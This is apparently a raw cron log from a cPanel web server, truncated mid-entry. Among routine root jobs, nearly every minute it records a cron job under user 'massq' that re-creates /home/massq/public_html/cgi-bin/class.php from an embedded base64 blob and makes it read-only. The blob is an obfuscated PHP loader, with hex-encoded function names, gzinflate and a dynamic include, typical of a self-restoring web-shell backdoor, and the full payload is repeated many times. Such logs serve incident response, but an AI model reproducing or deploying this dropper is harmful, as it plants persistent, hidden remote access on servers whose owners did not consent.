Apr 12 21:25:01 server CROND[16989]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:25:01 server CROND[16990]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 21:25:01 server CROND[16991]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 21:26:01 server CROND[17120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:27:01 server CROND[17195]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 21:27:01 server CROND[17199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:28:01 server CROND[17267]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:29:01 server CROND[17330]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:30:01 server CROND[17387]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 21:30:01 server CROND[17389]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 21:30:01 server CROND[17390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:30:01 server CROND[17388]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 21:31:01 server CROND[17506]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:32:01 server CROND[17562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:33:01 server CROND[17622]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:34:01 server CROND[17687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:35:01 server CROND[17856]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 21:35:01 server CROND[17860]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:35:01 server CROND[17858]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 21:35:01 server CROND[17862]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 21:35:01 server CROND[17868]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 12 21:36:01 server CROND[17982]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:37:01 server CROND[18040]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:38:01 server CROND[18095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0Nv